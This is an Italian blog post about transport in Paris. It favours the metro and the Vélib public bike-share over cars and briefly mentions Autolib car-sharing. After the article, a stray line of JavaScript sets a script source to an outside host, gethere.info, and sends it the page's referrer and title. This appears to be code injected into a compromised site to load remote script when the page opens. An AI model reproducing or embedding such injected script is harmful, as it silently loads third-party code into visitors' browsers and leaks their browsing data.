Le vélo

Il mezzo giusto a Parigi è solo uno: la metropolitana.
La macchina non serve a molto e a meno che non si voglia sfoggiare una berlina con i vetri oscurati (roba da sceicchi dalle parti di Place Vendome) non ha veramente senso.
Il secondo mezzo di trasporto in classifica non ha quindi quattro ruote… ma due.
Non si tratta dello sciame di motorini che potremmo incontrare nelle nostre italiche città ma un’autentica flotta di biciclette.
D’accordo, non siamo ad Amsterdam e certamente neanche a Pechino: la città non ne è realmente ‘invasa’ ma la loro diffusione capillare non può passare inosservata.
In effetti le condizioni metereologiche non sempre invitano a farsi un bel giro in bici ma gli autoctoni non sembrano curarsi troppo di questo aspetto e affrontano la pioggia con la consueta noncuranza.
Nota importante: le biciclette non sono private ma pubbliche! L’esperimento comunale che a Roma è durato poco più di sei mesi – il tempo necessario perchè le bici sparissero misteriosamente – qui dura da diversi anni. Le due ruote si chiamano ‘Velib’ da ‘Vélo libre’ ovvero ‘bicicletta libera’. Forse ciò che ne ha garantito la sopravvivenza nel tempo è il loro aspetto inconfondibile: le Velib hanno un peso specifico ignoto attorno ai 300 kg e con il loro colore tra il grigio talpa e il verde militare non fanno esattamente allegria. Non mi preme qui spiegare come funzioni il loro meccanismo di prestito e restituzione, ciò che invece mi interessa sottolineare è la loro presenza ad ogni angolo della strada ed il fatto che tutti i parigini ne usufruiscano con regolarità come la più comune tra le abitudini.
Il Velib (perchè qui la bici è un uomo) salva la vita in molte circostanze: sciopero dei mezzi pubblici -un evento frequentissimo-, week-end di sole –un evento rarissimo-, mancanza di fermate della metro nei paraggi, il rientro a casa a tarda sera.
Da qualche tempo si sta affermando anche l’Autolib, quello che da noi si chiama ‘Car-sharing’, e anche in questo caso si fanno le cose in grande con un pullulare di parcheggi per le minuscole auto elettriche dal centro alla periferia.
Non sono tuttavia ancora entrate nell’uso comune tanto quanto le biciclette, forse per il loro costo di utilizzo non proprio a buon mercato.
In fondo sarei felice se Parigi restasse la città del métro e delle Velib… l’automobile, anche se elettrica, mi è cordialmente antipatica.

velib-logo
s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;